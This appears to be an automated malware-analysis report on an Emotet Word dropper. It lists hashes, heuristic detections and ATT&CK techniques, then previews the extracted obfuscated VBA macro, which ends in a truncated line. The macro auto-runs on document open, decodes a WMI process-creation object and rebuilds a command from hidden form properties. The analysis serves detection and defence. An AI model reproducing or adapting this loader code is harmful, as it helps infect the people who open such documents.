Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 5757f7c12e93573c…

MALICIOUS

Office (OLE)

174.2 KB Created: 2020-08-24 23:33:00 Authoring application: Microsoft Office Word First seen: 2020-09-24
MD5: 6e035cd7f918c369b52502b93acfdd91 SHA-1: 1cd2aa1cec49e3a876ca3ef5215aed7c4158ce73 SHA-256: 5757f7c12e93573c71e14da607e136ad130aedb218ae66d24acb490e04369193
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open auto-execution macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection also explicitly names Emotet. The VBA code is obfuscated but the presence of CreateObject and the auto-execution routine strongly suggests it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6821 bytes
SHA-256: b8fbdc59366e345dae599029f5d085296d1cc34845690e3161cd925fda78eca0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Muv15c4s_v5rv4ug8o"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Fc0s9yrn9lr5.Uyp1zzba49zkk_e
End Sub


Attribute VB_Name = "Fc0s9yrn9lr5"
Attribute VB_Base = "0{F2B527AB-848C-480E-B79E-6793088180B4}{4405C902-6EBC-4916-A3F2-C02D099D2BB8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Uyp1zzba49zkk_e()
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
Es28ygtlz8ait5 = 100
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
Ssa25b3_ncxewz_0h = ChrW(Es28ygtlz8ait5 + (15))
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
T4pc0dhz2nj = "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[i3%hs8( 8192&&&21gs [[]asd2[nm3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[gm3%hs8( 8192&&&21gs [[]asd2[t3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[" + Ssa25b3_ncxewz_0h + "3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[:3%hs8( 8192&&&21gs [[]asd2[w3%hs8( 8192&&&21gs [[]asd2[in3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[33%hs8( 8192&&&21gs [[]asd2[23%hs8( 8192&&&21gs [[]asd2[_3%hs8( 8192&&&21gs [[]asd2[" + Fc0s9yrn9lr5.J_8jo0dp09ghqh_epx + "3%hs8( 8192&&&21gs [[]asd2[ro3%hs8( 8192&&&21gs [[]asd2[3%hs8( 8192&&&21gs [[]asd2[ce3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2[s3%hs8( 8192&&&21gs [[]asd2["
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
Q15xozxwnl2gkmv1 = Zgrooc_22ce(T4pc0dhz2nj)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
Set J7q_04ae_98 = CreateObject(Q15xozxwnl2gkmv1)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
Rrbt9v3my5y = Fc0s9yrn9lr5.Cber_xrixrk.ControlTipText
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
Jxow52oqgz4vn = Iycdjdfu6vu + (Q15xozxwnl2gkmv1 + Ssa25b3_ncxewz_0h + Fc0s9yrn9lr5.Ggw5u7ojhthe3r.ControlTipText + Rrbt9v3my5y)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
A55p0okq_v0blku = Jxow52oqgz4vn + Fc0s9yrn9lr5.J_8jo0dp09ghqh_epx
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
Set Ue1xm6v8kthwp0ba = Dngxaq3myr2mmfjd(A55p0okq_v0blku)
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAqg0) * kuhih * 6) * 6 _
   - CBool(Lll / Rnd( _
   uhJLQWIUO)))
   Set kHE = Fc0s9yrn9lr5
P0kcvbzl5aepb = Array(Gadv5in5dqsi6 + "N29sfv3neb3lu8jmuy Z5erk2l_365Jh14ccxjrr87b5t Lv286h6fojy35vas", J7q_04ae_98.Create(Ic29pzadnsb0g5t, Mpe6dgj9ovt9i, Ue1xm6v8kthwp0ba), Lhytgd91fmuo4o + "L8qovupp5nps_qxmi Viugb5po3j3k J7b0zcty7a45g3w0 Nali_gmk6w_h4")
      On Error Resume Next
   uqnsw = (hiuqowgjv / 1 - 334 * CSng( _
   55 * Tan(vAq
... (truncated)